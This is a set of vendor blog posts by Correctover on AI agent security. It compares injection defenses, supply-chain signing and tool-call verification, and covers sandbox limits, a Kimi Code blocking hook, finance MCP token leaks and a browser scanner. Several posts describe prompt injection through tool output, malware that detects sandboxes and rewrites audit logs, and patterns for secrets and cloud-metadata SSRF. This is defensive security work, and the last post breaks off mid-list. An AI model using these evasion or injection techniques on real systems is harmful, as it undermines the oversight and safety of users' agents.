DEV Community: correctover

Agent 安全不是单一赛道：三条技术边界的工程纪律

correctover — Tue, 15 Sep 2026 11:17:12 +0000

入站内容防御 / 供应链完整性 / 出站执行验证——三件事，三种代价，三种工程纪律
作者：Guigui Wang | Correctover — AI Reliability
日期：2026-09-15

本文涉及自有 Internet-Draft 内容均为 individual submission，not an RFC or IETF endorsement.
CCS 性能数据均为 Correctover 内部实测，文中逐条标注测量口径；不同口径不可直接比较。
文中提到的项目（CAITLYN、AgentSecCore/ANOLISA）为公开信息事实性引用，不含任何商业评价或排名意图。

当「AI Agent 安全」成为热词时，最危险的动作是把所有技术塞进同一个篮子。今天公开可见的三个代表性方案，恰好站在三条不同的工程边界上。把边界画清楚，比把它们揉成一顶「AI 安全标准」的大帽子，更对得起生产环境。

1. 三条边界

边界	问题	代表工程	工程纪律核心
入站内容防御	非可信内容进入 Agent 前是否被过滤	CAITLYN（arXiv:2608.27990，PolyU / CUHK）	双向规格验证（attack 必命中 + benign 零误伤）
供应链完整性	Agent 运行时加载的技能/代码是否被篡改	AgentSecCore（Alibaba Cloud Linux，ANOLISA 开源）	Ed25519 签名 + append-only 版本链 + Skill 快照漂移检测
出站执行验证	Agent 发出的工具调用是否符合运行时形态	Correctover CCS（IETF individual draft）	7 维运行时验证：Structure/Schema/Latency/Cost/Identity/Integrity/Security

三条边界不是三个竞品，是三个工程问题。任何一个真实的 Agent 部署，都可能同时需要三者的某一层。把它们混为一谈，会让企业误以为「买一个就够」；把它们画清楚，才能让每一层都做到它该做到的程度。

2. 入站内容防御：CAITLYN 的工程纪律

CAITLYN 是香港理工大学（PolyU）与香港中文大学（CUHK）团队 2026 年 8 月公开的研究项目（arXiv:2608.27990，v1 提交于 2026-08-28，CC0），定位是非可信入站内容（用户 prompt、工具返回值、外部网页）的间接提示注入防御中间件。

它最有价值的工程纪律是 System II 的反例引导技能合成闭环（counterexample-guided synthesis）：

漏报攻击 → 当作 counterexample
generator 合成新的防御技能
独立 verification sandbox 做双向规格验证——攻击正例必须命中、良性反例必须零误伤
reviewer 把关 → 带 lineage 写回技能库

可吸收的工程纪律：新 detector 必须通过「正/反」双面语料契约，并且可以追溯到催生它的那个 counterexample。这不是功能列表，是工程纪律。

边界：它解决的是「进来的内容是不是有毒」，不做 Agent 调用工具那一刻的运行时校验，也不做 Skill 文件在磁盘上的完整性守护。论文也如实给出了这条路线的工程代价：云端 LLM 判定路径在其评测中约为数秒至十余秒延迟、每查询约 0.003–0.007 美元量级，并且中间件在多个部署点默认 fail-open。准确率、延迟、适应性三者构成它要权衡的 trilemma。

Correctover 正在把这条工程纪律吸收到自己的规则更新管线（见 §5）。我们学纪律，不抄实现。

3. 供应链完整性：AgentSecCore 的边界

AgentSecCore 是 Alibaba Cloud Linux（Alinux）的本地 Agent 安全内核（官方文档，更新于 2026-09-10），开源版本为 ANOLISA（Apache-2.0），处于持续活跃迭代状态。

它最扎实的工作是 Skill Ledger（技能账本）：

每个 Skill 的 manifest（含文件哈希、扫描结果、版本信息）经 Ed25519 签名
append-only 版本链 + snapshot 机制，支持漂移识别与可信版本回退
6 个业务安全状态（pass / none / drifted / warn / deny / tampered）
与 SkillFS 职责解耦，已适配 6 类宿主：OpenClaw、Copilot Shell、Hermes、Codex、Qoder CLI、Qwen Code

可吸收的工程纪律：Skill/Plugin 的「身份 + 完整性」必须可校验，且任何漂移都必须可被检测。这是任何 Agent 供应链的基础。

边界：它强覆盖 Integrity 一维，部分覆盖 Identity 与 Security，不做出站工具调用的 Structure / Schema / Latency / Cost 校验（即 CCS 7 维中的 4 维）。在提示词扫描上，官方把强度分为 FAST / STANDARD / STRICT 三档，并注明 STRICT 是为 L3 语义层预留、当前与 STANDARD 等效；本地 L2 判定依赖用户自行部署 Ollama 小模型。处置姿态上，官方文档说明各宿主 hook 在 agent-sec-cli 缺失、超时或返回非法结果时统一 fail-open（放行并记录），优先保障 Agent 可用性。它是 OS 侧内容安全 + Skill 供应链守护，不是 sub-millisecond 的运行时验证引擎。

与 CCS 技术路径重合度最高的点是 Ed25519 签名 + 版本链，但粒度不同：AgentSecCore 守护 Skill 级（文件 / manifest），CCS 守护调用级（每一次工具调用）。fail-open 与 fail-closed 也是两种不同取舍——前者优先可用性，后者优先安全——而非高低之分。两条路径互为补充，不是替代。

4. 出站执行验证：Correctover CCS 的边界

Correctover CCS（Conformance Shape）是我们定义的 Agent 运行时验证标准（IETF Internet-Draft，individual submission），覆盖每一次工具调用的 7 个运行时维度：

Structure / Schema：调用消息是否符合协议形态与字段约束
Latency / Cost：响应时间与 token 开销是否符合预期形态
Identity / Integrity / Security：工具、内容、行为的可信性校验

运行时校验的核心纪律是确定性 + 零 token + sub-millisecond：

Correctover 核心判定层 Node P50 ≈ 2.7µs
Python 端到端 P50 ≈ 27µs
对外口径：core eval P50 < 10µs / P99 < 25µs（实测 P50 ≈ 7.5µs、P99 ≈ 21µs）
fail-closed：运行时校验失败 = 拒绝执行，而不是放行
Ed25519 签名收据（receipt）提供可独立验证的审计证据

为什么有三组性能数字、它们为何不矛盾。 三者测量边界不同，不能直接比较：Node P50 ≈ 2.7µs 是核心判定层在 Node 运行时的单次纯校验耗时，是最优单点；Python 端到端 P50 ≈ 27µs 走的是真实集成路径，含 Python 调用链上的序列化与封装开销；对外承诺的 core eval P50 < 10µs / P99 < 25µs 取的是跨实现的保守口径，并显式覆盖 P99 尾延迟，而不是只报最好看的平均值。对外统一使用保守口径，内部单点数据在此一并披露，只为交代测量边界。

边界：它守护的是「Agent 发出的调用是否合规」。它不做入站内容的间接注入过滤（那是 CAITLYN 一类中间件的地盘），也不做 Skill 文件级的供应链漂移检测（那是 AgentSecCore 的地盘）。

5. 三条边界之间的工程对话

最有意思的工程对话发生在边界之间：

CAITLYN 的双向规格验证纪律 → 被我们（Correctover）吸收到规则更新管线：每条新规则必须带攻击正例集 + 良性反例集 + 全量回归，门禁 fail-closed（纪律跨边界复用，实现不抄）。
AgentSecCore 的 Skill Ledger → 启发 Correctover 的规则包签名链：规则包可 Ed25519 签名，复用 trust.py 两级信任模型（VERIFIED → ACCEPTED），与调用级 receipt 互补（资产层 + 调用层双保险）。
CCS 的调用级 receipt → 对 CAITLYN / AgentSecCore 都透明：它们在决策时产生的记录本身也可以被 CCS 校验，形成「对防御行为的防御」。

这种分层对话，才是对得起生产环境的工程态度。

6. 对 Correctover 自身的要求

我们把自己定位在出站执行验证这一条边界上，不跨边界声称自己覆盖所有 Agent 安全问题。

我们有的：CCS 7 维运行时校验、Ed25519 签名收据、sub-ms 确定性引擎、fail-closed 闸门、两阶段信任模型（VERIFIED / ACCEPTED）。
我们正在补的：规则入库双向语料门禁（对 CAITLYN 工程纪律的吸收，正在 P0 阶段）；规则包签名链（借鉴 Skill Ledger 的思路）。
我们不做的：入站内容防御（CAITLYN 一类中间件的地盘）、Skill 文件漂移检测（AgentSecCore 的地盘）。

我们同时承认：CCS 不是 AI 安全的唯一答案，它只是运行时验证层的一个答案。如果你的威胁模型同时包含入站内容投毒和第三方 Skill 供应链，我们建议在 CCS 之外同时部署入站内容防御与 Skill 完整性方案——任何单一层都不足以覆盖完整的 Agent 攻击面。把边界画清楚，比把功能堆到一起更值得尊重。

7. 术语与事实锚点

CAITLYN：arXiv:2608.27990（PolyU / CUHK，v1 2026-08-28，CC0）。属入站内容层，不对应 CCS 7 维中的任何一维。
AgentSecCore / ANOLISA：阿里云 Alinux 官方文档（页面更新 2026-09-10）；开源版 ANOLISA，Apache-2.0，GitHub 活跃维护。在 CCS 7 维中强覆盖 Integrity（1 维），部分覆盖 Identity + Security（2 维），不覆盖 Structure / Schema / Latency / Cost（4 维）。
Correctover CCS：IETF Internet-Draft individual submission；Correctover 开源实现；性能实测 Node 核心判定层 P50 ≈ 2.7µs、Python 端到端 P50 ≈ 27µs，对外保守口径 core eval P50 < 10µs / P99 < 25µs（实测 7.5 / 21µs）。
Internet-Draft 免责：本文对 Correctover 自有 Internet-Draft 的引用均为 individual submission, not an RFC or IETF endorsement。

想先看清自己 Agent 的出站调用暴露面，可以用免费自动扫描器建立一条基线（correctover.com）；对于自动规则无法判定的部分（实际可利用性、生产危害、合规证据），再考虑人工运行时审计。

本文是 Correctover 对 AI Agent 安全三条技术边界的工程视角陈述，不是对任何产品或研究的排名或评价。作者对 CAITLYN 团队与 AgentSecCore/ANOLISA 团队公开贡献的工程纪律保持尊重。

Your agent sandbox is a physical exam, not a black box: dynamic analysis can't be the last word in agent security

correctover — Fri, 04 Sep 2026 15:21:31 +0000

A pattern is settling into the AI agent security stack: when you're unsure about a skill, tool, or plugin, you detonate it. Drop it into a sandbox — a detonation chamber, a honeypot environment — let it run for real, and watch what it does. Does it phone home? Does it read files it shouldn't? Does it unpack additional payloads?

It feels rigorous. Execution is truth; static analysis is just reading. And dynamic analysis does catch things static analysis misses — unpacked payloads, environment-triggered behavior, exfiltration that exists nowhere except at runtime.

But here is the framing problem. A sandbox run is a physical exam: a controlled check-up, in a clinic, on a good day, before the patient starts living their life. It is not a black box: the tamper-evident recorder running during the actual flight, readable by investigators who don't trust the airline.

Both matter. They are not interchangeable, and treating the exam as the recorder leaves a specific, predictable gap.

What dynamic detonation gets right

Let's be fair to the sandbox, because it earns its place. Static analysis reads code and reasons about what it could do; dynamic detonation watches what it does do. That distinction is real. Some behavior exists purely at runtime: payloads that decrypt themselves in memory, network calls assembled from environment state, logic that branches on what it finds on disk. If you never execute the artifact, you never see that side of it.

For agent skills and tools — bundles of code that an LLM can invoke, often sourced from third-party registries, often with broad permissions — "run it in a cage and watch" is a genuinely useful pre-release check. It should be part of the pipeline. The argument here is not against the sandbox. It is against asking the sandbox to do a job it structurally cannot do.

Boundary 1: coverage is an arms race, not a one-time build

Anti-sandbox and anti-honeypot evasion is a roughly twenty-year-old arms race in the malware world, and it remains unresolved — managed continuously, never finished. A sample can check whether it is being watched: timing delays and sleep timers, virtual-machine fingerprints, the absence of mouse movement or browser history, telltale environment variables, user-data directories that look freshly faked. Detect the clinic, and you behave like a model patient. The malicious payload waits for what looks like real life.

This has a direct consequence for agent security tooling. When a vendor quotes a dynamic-analysis catch rate — runtime detonation recovering a meaningful share of what static analysis misses — ask the mirror question: what share of malicious behavior does the detonation chamber itself miss, and who measures that? In detection engineering, a detector cannot prove its own completeness. The evasions you can observe are the ones you already know about; the evasion that stays quiet in your environment is, by construction, invisible to you. Coverage is a maintenance contract, not a build artifact — which means a sandbox you stopped tuning is a sandbox whose edge is eroding.

Boundary 2: slow and expensive — a deployment gate, not a runtime gate

Real detonation costs real things: environment construction, warm-up, a timeout window long enough to catch delayed payloads, resource isolation, teardown. That budget is fine for a release pipeline. It is not fine for the request path.

An agent in production makes tool calls constantly — each one a decision point — and you cannot route every call through a multi-minute detonation without making the agent unusable. So the sandbox sits, structurally, before deployment: it audits the artifact you shipped. Everything that happens afterward — production traffic, real sessions, real users — happens outside its field of view.

This is the physical-exam property. The exam happens before the flight. It cannot watch the flight, no matter how thorough it was.

Boundary 3: honeypot behavior is not production behavior

Even when the sandbox watches a run, it watches a drill. The clinic has synthetic inputs, disposable credentials, empty data directories, and no real user in the loop. Production has the opposite: real documents, live tokens with real permissions, and chained calls where tool B receives output shaped by tool A — chains that can run many steps deep by the time something goes wrong.

Plenty of real incidents live in that gap. Code that behaves in a demo environment but reaches for the customer database when a real database exists. A tool that is harmless with a dummy API key and aggressive with a valid one. A chain where each step looks fine individually and the composition is the exploit. You audited the rehearsal. The accident happens on opening night.

"OS-level logs can't be faked" — they can

One defense of dynamic execution is that the operating system sees everything: syscalls, file access, network connections. Logs at that layer get treated as ground truth.

They are ground truth right up until the thing you are watching holds administrator or root privileges — which is exactly what a malicious tool, an exploited dependency, or a successful sandbox escape hands an attacker. Code at that level can hook syscalls, suppress its own traces, wipe or rewrite audit records, and feed the observer a clean narrative. A log written by the party whose behavior is in dispute is self-reported evidence.

Aviation is instructive here. The pilot's handwritten logbook is useful, but nobody mistakes it for a flight recorder. A black box is engineered so the pilot cannot rewrite it after the fact: tamper-evident, write-once, readable by people who do not trust the emitter. If your "runtime evidence" is produced and stored by the same runtime you are auditing, you have a logbook.

What an agent black box actually looks like

The useful unit is a per-invocation receipt: one record per tool call, emitted as the call happens, with properties that make it evidence rather than a report:

Cryptographically bound to the specific invocation — signed, with hashes covering the caller, the tool, the arguments, and the authorization under which the call ran. A receipt you cannot tie to a concrete call is decorative.
Anchored outside the call path — verifiable by a party who is neither the emitter nor on the execution path: an append-only transparency log, a remote-attestation flow, any arrangement where rewriting history means breaking the anchor, not merely breaking into the box.
Three states kept separate — the agent's decision (what it chose to call and why), the provider's outcome (what the tool reported back), and the observed effect (what actually changed). These routinely disagree, and collapsing them into one "success/failure" field hides exactly the disagreements that matter.
Indeterminate stays indeterminate — when evidence is missing, the state is "unknown," and policy fails closed. "No evidence of malice" must not be recorded as "verified safe."

This is the direction of open standards discussions in the MCP and agent security community: signed, verifiable invocation records rather than vendor-narrated dashboards. The format is less important than the property — evidence has to be checkable by someone with every reason to distrust the system that produced it.

Use both — they do different jobs

For teams building or shipping agents, the practical split:

Before release, do the physical exam. Static analysis plus dynamic detonation of skills and tools. You do not need an elaborate program for this; free and open toolchains cover the large majority of the basics — scan the code, detonate the artifact, fix what surfaces. Run it on every release, because coverage decays.
During production, require the black box. Your agent framework should emit verifiable decision records — who acted, what action, under what authorization, with what result — cryptographically signed and anchored somewhere the emitter cannot quietly rewrite them. If your framework cannot do this yet, that gap deserves more attention than another dashboard.
When evaluating agent security tooling, ask one question up front: does it produce evidence you can verify independently? A dashboard the vendor controls tells you what the vendor's system chose to record. That is a report. It is not evidence until a party outside the trust boundary can check it.

The exam does not replace the recorder

Sandboxes are good engineering. Detonate suspicious code, watch it run, catch what static reading cannot see — keep doing all of it. Just do not mistake the pre-flight check-up for the flight recorder. The exam tells you what a tool does when it is being watched in a clinic. The black box tells you what actually happened, in production, in a record the tool cannot rewrite.

If you want the physical-exam piece today, we publish a scanner that runs locally: npx correctover-scan@latest. It is MIT-licensed open source and zero-upload — your code does not leave your machine, and there is nothing to sign up for. There is also a web entry point at https://correctover.com/scan.html. For the runtime side, take the same question to your framework and your vendors: where is the receipt, and who can verify it without trusting you?

A PreToolUse security gate for Kimi Code: block live secrets, plaintext MCP, and SSRF before they hit disk

correctover — Fri, 04 Sep 2026 05:16:16 +0000

Last week Kimi Code (Moonshot AI's terminal coding agent) shipped a fix for a nasty prompt-injection vector: timestamps in tool output could be crafted to smuggle instructions into the model's context (MoonshotAI/kimi-code#2028, fixed in the new v2 engine in 0.39.0 via #3007/#3341). Prompt-injection hardening matters — but injection is only half the story.

A coding agent that has been steered (or is simply over-eager) can also:

write a hardcoded sk-live-... key into src/config.js
add an MCP server over plaintext HTTP
point a tool at 169.254.169.254 (cloud-metadata SSRF)
run npm install inside a repo that already contains any of the above

Kimi Code has a mechanism for exactly this: Hooks (Beta). PreToolUse events fire before the permission check, and a hook can block the action by exiting with code 2. The block reason on stderr is fed back to the model — so it fixes the problem and retries.

We built an open-source (MIT) hook that wires this event to a real scanner: correctover-security-hook. This post explains how it works, what it catches, and how to verify it yourself in under a minute.

How Kimi Code hooks work (60-second version)

Rules live in ~/.kimi-code/config.toml as [[hooks]] entries with four fields: event, matcher (regex), command, timeout.
On a hookable event, the CLI pipes a JSON payload (tool name, parameters, file content) to your script via stdin.
Exit semantics: 0 = proceed; 2 = block, stderr goes back to the LLM as the reason; any other non-zero / timeout = fail open (proceed).
Only PreToolUse, Stop, and UserPromptSubmit can block. Security gates must hang on PreToolUse.
Official guidance: hooks are fail-open by design — a reminder/light-gate layer, not your only security control. Keep permission approvals, code review, and CI scanning.

What the hook does

Two PreToolUse matchers:

Matcher	What gets scanned
`WriteFile\	StrReplaceFile`
`Shell`	MCP-related commands (`mcp add`, config edits) → recursive config scan of the project; with `CORRECTOVER_SCAN_INSTALLS=1`, `npm/pnpm/yarn/bun install` → full-project code scan

Scanning runs through correctover-scan, an open-source npm package invoked via npx (free tier, no API key). The hook maps scanner output to exit codes:

fail-level finding → exit 2 (block; reason fed back to the model)
clean → exit 0
scanner missing / network down / timeout / quota exhausted → exit 0 with a stderr log (fail-open: a scanner problem never blocks your work)

What it actually flags:

Code layer (.js/.mjs/.cjs/.ts): hardcoded live-key patterns (sk-...), child_process with shell: true, eval / Function / vm dynamic execution, cloud-metadata/SSRF signals, credentials flowing into env/stdout.
MCP config layer: MCP server URLs without TLS (plaintext http), internal/cloud-metadata endpoints (169.254.169.254), plus warn-level gaps — missing timeouts, allowlists, or kill-switch.

The nice part is the feedback loop. When a write is blocked, the model reads why ("hardcoded credential at config.js:12 — move to an environment variable") and usually rewrites the code itself, then retries. The gate turns a latent secret leak into a self-correcting loop.

Test matrix: 8 scenarios, all behaving as expected

The repo ships a selftest that fakes Kimi Code's stdin payloads (measured with correctover-scan v1.7.2, Node 22):

#	Scenario	Scanner result	Hook exit
A	`WriteFile` a `.js` with a hardcoded `sk-live-` key	`cred-exposure` FAIL	2 (block)
B	`WriteFile` a clean `.js`	no fail	0 (pass)
C	`WriteFile` an unsafe MCP config (plaintext `http` + `169.254.169.254`)	`mcp-tls` + `mcp-ssrf` FAIL	2 (block)
D	`Shell` plain `ls -la`	not scanned	0 (pass)
E	Scanner binary missing (fault injection)	startup failure	0 (fail-open)
F	`Shell` `mcp add` while a dangerous MCP config sits in the project	recursive scan, 2 FAIL	2 (block)
G	`npm install` with `CORRECTOVER_SCAN_INSTALLS=1`, leaky file in repo	bundle FAIL	2 (block)
H	`npm install` with default config	not scanned	0 (pass)

The bundled script covers the five core cases (A–E, expect 5 pass / 0 fail); F–H use the install-toggle and are documented in the repo README.

git clone https://github.com/DSHCorrectover/kimi-code-security-hook
cd kimi-code-security-hook/selftest
bash run-hook-selftest.sh

Or try it in a real session: ask Kimi Code to "add a Stripe key constant sk-live-51q8xPbQmRzNk2vWcY7aHdJfT3uLsE0oXnMp in src/config.js" — the write should be blocked and the model should rewrite it to read from an environment variable. (The sample key is a random fake string.)

Install

As a plugin: the repo is a Kimi Code plugin (kimi.plugin.json at the root) — point your Kimi Code plugin flow at the repository and the two PreToolUse hooks register automatically. We've also submitted it for the curated plugin marketplace (MoonshotAI/kimi-code#3534).

Manual install:

mkdir -p ~/.kimi-code/hooks
cp hooks/correctover-hook.mjs ~/.kimi-code/hooks/correctover-hook.mjs

Then add to ~/.kimi-code/config.toml:

[[hooks]]
event = "PreToolUse"
matcher = "WriteFile|StrReplaceFile"
command = "node ~/.kimi-code/hooks/correctover-hook.mjs"
timeout = 180

[[hooks]]
event = "PreToolUse"
matcher = "Shell"
command = "node ~/.kimi-code/hooks/correctover-hook.mjs"
timeout = 180

Start a new session (or /reload) and check /hooks. Requires Node.js 18+.

Environment variables:

Variable	Default	Purpose
`CORRECTOVER_SCAN_CMD`	`npx correctover-scan`	Scanner command; point at a local mirror for offline/CI
`CORRECTOVER_SCAN_INSTALLS`	`0`	Set `1` to bundle-scan the whole project before package installs
`CORRECTOVER_SCAN_TIMEOUT`	`120000`	Per-scan timeout in ms (fail-open on timeout)

The honest limits

Fail-open by design. Scanner missing, network down, timeout, or free-tier quota exhausted → the action proceeds with a stderr log. This is a light gate, not your only control.
Code scanning covers JS/TS only (signal-based, not full type semantics). Python and other languages pass through — wire up a language-appropriate scanner for those.
Signal scan, not proof of exploitability. Findings locate signals at file+line; reachability and intent need manual review.
Hooks are Beta in Kimi Code — event names, config format, and tool names may change across versions; re-run the selftest after upgrades. Legacy kimi-cli (~/.kimi/) uses different tool names (Bash); the script tolerates the aliases but matchers may need adjusting.

For one-off manual checks without installing anything, there's a zero-upload browser scan at correctover.com/scan.html — paste code, everything runs locally in the page.

Why this matters now

Agents are moving from "suggest diffs" to "write files, run commands, wire up MCP servers" — the boundary between generated text and executed action gets thinner every release. Prompt-injection fixes like #2028 harden what the model believes; PreToolUse hooks gate what the agent does. Defense in depth means you want both.

Repo (MIT, issues/PRs welcome): https://github.com/DSHCorrectover/kimi-code-security-hook
Scanner on npm: https://www.npmjs.com/package/correctover-scan

We scanned open-source finance MCP servers — here are the four ways API tokens leak

correctover — Fri, 04 Sep 2026 01:52:57 +0000

In 2026, financial data terminals started shipping MCP interfaces. Data vendors and open-source wrappers now expose market data, fundamentals, and fund flows as MCP tools that any AI client — Claude Code, Cursor, Copilot — can call.

That is convenient. It also means every one of those MCP servers holds a paid API token in memory: data-vendor tokens, vendor keys, session credentials. Unlike a random weekend project, those tokens carry metered quotas, billing relationships, and often access to non-public data feeds.

We took seven open-source JS/TS finance MCP servers (npm packages and GitHub repositories) and ran our local static scanner, correctover-scan v1.7.2, over them. This post describes the four concrete leak patterns we saw, how often they showed up in published code, and the pre-release checklist that catches all of them. No projects or maintainers are named; findings have been privately disclosed to the affected maintainers.

How we scanned

The scanner runs entirely locally — the source code never leaves your machine:

npx correctover-scan --bundle ./path/to/mcp-server

For npm packages we ran it against npm pack tarballs (the exact build users install); for repositories we scanned the checked-out source. The bundle mode parses .js/.mjs/.cjs/.ts files and runs two layers of checks: a configuration layer (hardcoded secrets, dynamic code execution) and a code layer (plaintext outbound endpoints, credential flow into logs, MCP transport flags). Every machine-generated warning with a file/line was then manually reviewed against the actual source, because some classes of issues — CORS policy and network bind addresses — the scanner only flags indirectly and a human must confirm.

Honest scope note: all seven targets were JS/TS, the scanner's home turf. The Python fastmcp ecosystem (which includes several popular finance MCPs) was not in scope; the scanner does not parse .py files yet, and we did not paper over that gap. Closed-source vendor MCPs had no published server source to scan either.

What the numbers look like

Of the seven targets, five ship as published npm packages. In two of those five published packages (40%) — two distinct projects — we confirmed at least one of the four token-leak patterns below in the exact artifact users install. One project had three of the patterns; another had two. The other three published packages, plus the two repository-only targets, came back clean on manual review.

A note on severity labels: the scanner rates hardcoded credentials as fail, while plaintext HTTP, logging, CORS, and bind issues are rated warn. That understates them — a token sent over plaintext HTTP is a token disclosure, full stop. We went with manual review, not the score.

One detail worth flagging for anyone maintaining an MCP: for one project, both of its issues were already fixed on the repository's main branch — but the fixes had never been published to npm. The code your users npx can lag your own HEAD for months.

Pattern 1: The token goes out over plaintext HTTP

The data vendor's endpoint was hardcoded as an http:// URL, and the token rides along in the POST body:

// api client in a finance MCP server (anonymized)
export class DataClient {
  token: string;
  private apiUrl = "http://api.marketdata.example";

  constructor(token?: string) {
    this.token = token ?? process.env.DATA_TOKEN ?? "";
  }

  async call(apiName: string, params: Record<string, unknown>) {
    const response = await fetch(this.apiUrl, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        api_name: apiName,
        token: this.token,
        params,
      }),
    });
    // ...
  }
}

We saw this in 2 of the 5 published packages (40%) — in one case across three separate tool modules, each with its own hardcoded http:// fetch.

Risk: anyone positioned on the same network path — coffee-shop Wi-Fi, a shared office VLAN, a compromised hop — reads the bearer token straight off the wire. The token is a paid, quota-bearing credential.

Fix: use https://. The vendor endpoint supported HTTPS in every case we saw; this was a copy-pasted URL scheme, not an infrastructure constraint. Put the base URL in one config constant so it cannot drift per-file.

Pattern 2: The token gets logged to stdout

In stdio MCP mode, stdout is the protocol channel — it is captured by the MCP client's log files. One published package logged the entire request object, token included, right before sending it:

// tool module in a published package (anonymized)
const apiParams = {
  api_name: "balancesheet",
  token: CONFIG.API_TOKEN,
  params: { code: code },
};

console.log("API request params:", apiParams);
const response = await fetch(CONFIG.API_URL, {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify(apiParams),
});

1 of the 5 published packages (20%) did this, in three tool modules.

Risk: the token lands in MCP client log files on the developer's disk, in CI logs if the server runs there, and in anything that scrapes the host's stdout. It is the same credential, now duplicated into log storage with different retention and access rules.

Fix: redact before you log. Log only the business parameters (params.params), or pass the payload through a small redactor that masks known credential fields:

const redactToken = (p) => ({ ...p, token: p.token ? "***" : undefined });
console.log("API request params:", redactToken(apiParams));

Pattern 3: `Access-Control-Allow-Origin: *` on a streamable-http transport

When an MCP server offers Streamable HTTP, it is a web server — and the browser same-origin rules apply to it. One published package enabled CORS with a wildcard and explicitly allowed token-bearing custom headers:

// http transport setup (anonymized)
const app = express();

app.use(
  cors({
    origin: "*",
    methods: ["GET", "POST", "OPTIONS"],
    allowedHeaders: [
      "Content-Type",
      "Authorization",
      "Mcp-Session-Id",
      "X-Api-Token",
    ],
  })
);

1 of the 5 published packages (20%) had this.

Risk: any web page the operator visits can issue a cross-origin POST to http://localhost:3000/mcp and invoke the server's tools. In the package we saw, the server fell back to reading the token from request headers when no server-side token was set — meaning a page could potentially ride the server's own credential. CORS is not optional configuration here; it is the authentication boundary between the browser and a local privileged service.

Fix: an MCP HTTP endpoint meant for local clients should not use origin: "*". Restrict allowed origins to an explicit allowlist (or omit wildcard CORS entirely and document the local proxy setup), and never accept a credential from a request header you did not explicitly opt into.

Pattern 4: The server binds to all interfaces with no Host allowlist

The companion mistake. The same package started its listener without a host argument:

// default in Node/Express: binds 0.0.0.0
app.listen(PORT, () => {
  console.log(`MCP endpoint: http://localhost:${PORT}/mcp`);
});

1 of the 5 published packages (20%). The startup message says localhost; the socket tells a different story — omitting the host binds 0.0.0.0, reachable from the entire LAN.

Risk: combined with pattern 3 (and no token gate), anyone on the local network can reach and invoke the MCP server — a paid data quota sitting on a laptop port. For comparison, the sibling project from the same maintainer had already done it correctly in its newer code: app.listen(PORT, "127.0.0.1") plus an ALLOWED_HOSTS Host-header check.

Fix: bind explicitly:

const HOST = process.env.HOST ?? "127.0.0.1";
app.listen(PORT, HOST, () => { /* ... */ });

If a deployment genuinely needs a non-loopback bind, require an explicit env var to opt in and add a Host-header allowlist.

A pre-release checklist for MCP authors

Everything above is caught before publish with five checks:

Grep your built artifacts for http:// — run the scanner against the npm pack tarball, not just the repo source. The build is what users run.
Audit every console.log/logger call on a request or response path — no credential field should reach stdout/stderr in stdio mode. Add a redact helper and route payload logs through it.
If you offer Streamable HTTP, bind 127.0.0.1 by default and require explicit configuration to expose anything wider.
No wildcard CORS on a transport that carries credentials — explicit origin allowlist, and never fall back to trusting client-supplied token headers.
Publish the fixes — main-branch patches do not protect users on the npm latest tag. Make the release part of the fix.

Wire this into a prepublishOnly script and a CI step; the patterns are cheap to detect automatically and expensive to explain after the fact.

Try it on your own MCP

CLI (local static scan, code never leaves your machine): npx correctover-scan
Zero-install browser version: https://dshcorrectover.github.io/agent-audit/scan.html
Project organization: https://github.com/DSHCorrectover

Disclaimer

Results are based on static analysis of publicly available package versions and repositories at scan time (2026-09-04). They are not a security rating or certification of any individual project; absence of findings in this scan is not a guarantee of safety, and findings reflect the versions we downloaded. The Python fastmcp ecosystem and closed-source vendor MCPs were outside this round's scope. All confirmed findings have been privately disclosed to the relevant maintainers.

You can run a security scanner without shipping your source code anywhere

correctover — Thu, 03 Sep 2026 11:10:25 +0000

When you build an AI agent, you end up with a folder of things you do not want to upload to a stranger's server: an MCP config full of API keys, a node_modules bundle with third-party skills, and — if you ship an SDK or an MCP server to clients — source code that is literally your product.

The usual "free online scanner" flow asks you to either paste your code into a box or zip up the repo and upload it. That is fine for a public demo project. It is a non-starter for closed-source, unreleased, or commercially sensitive code.

It turns out you do not need a backend to do this. A static-analysis scanner can run entirely in the browser tab. Here is how we built ours, and the one architectural decision that makes it trustworthy.

The constraint: the bytes must never leave the machine

The goal was simple to state and surprisingly easy to get subtly wrong:

drop in an mcp.json / MCP config, or a JS bundle / node_modules folder
get a report mapped to OWASP AISVS 1.0 (the AI security verification standard)
zero upload, zero account, zero telemetry

"Zero upload" is not a marketing line here, it is an enforced property. There is no server endpoint to receive files. The page is static HTML + one inlined JavaScript bundle. fetch is never called with file contents. The scanning engine reads files through the browser's own File / FileReader API (drag-and-drop or the file picker), analyzes them in memory, and renders the report into the DOM. Close the tab and the data is gone.

You can verify this the honest way: open DevTools → Network, drop in a file, and watch nothing leave.

How a CLI scanner becomes a browser scanner

The scanner already existed as an npm CLI (npx correctover-scan) and a GitHub Action. The trick to the browser version was that the engine was already pure static analysis — no network calls, no model dependency on the hot path. The core verification logic runs in sub-millisecond time on the core verification hot path, which matters because the browser tab has to stay responsive while you drag in a few hundred files.

The build step (tools/build-browser.js) bundles the same core/ modules the CLI uses into a single scan-bundle.js and exposes them on window.CorrectoverScan. The HTML page calls:

scanConfig(text) for MCP config files — 14 checks covering things like MCP transport TLS, tool auth, tool-allowlist pinning, kill-switch / budget limits, SSRF guards, credential exposure, sandboxing, version pinning, and logging.
scanBundle(files) for JavaScript — a set of checks over the bundled code, with a semantic pass instead of naive keyword matching.

That last part is where naive scanners fall over. A grep for child_process or eval will flag every build tool, test runner, and bundler in existence. The engine classifies intent: is that exec() argument a hardcoded constant or attacker-controlled? Is the eval inside a known code-execution sandbox, or is it running LLM-controlled input? Is the credential-looking regex part of a detection rule (the scanner contains a few of those itself)? Benign contexts get suppressed; genuinely dangerous patterns — dynamic eval of model output, unguarded shell execution, secrets passed to an unauthenticated MCP transport — get surfaced.

Some checks are marked semi-automated: the engine flags the pattern, but a human has to confirm whether the control is actually enforced in deployment. The report says so explicitly.

Mapping to a standard instead of inventing one

Rather than hand you a pile of red/yellow dots, every check maps to an AISVS 1.0 control (for example, tamper-evident logging under the orchestration/agentic security chapter). The mapping page is deliberately honest about coverage: the automated scanner covers parts of 8 of the 12 AISVS chapters, and the chapters it cannot cover statically — training-data integrity, adversarial robustness, model lifecycle change control — are marked as not covered, not silently skipped.

That honesty matters. An automated scan is a fast first pass; it is not an audit, a certification, or a compliance verdict. The printed report carries that disclaimer, and the pages that reference AISVS note that OWASP® and AISVS are trademarks of the OWASP Foundation, which does not endorse or certify products.

Why this changes the workflow

For a team shipping agents or MCP-based products, the practical difference is:

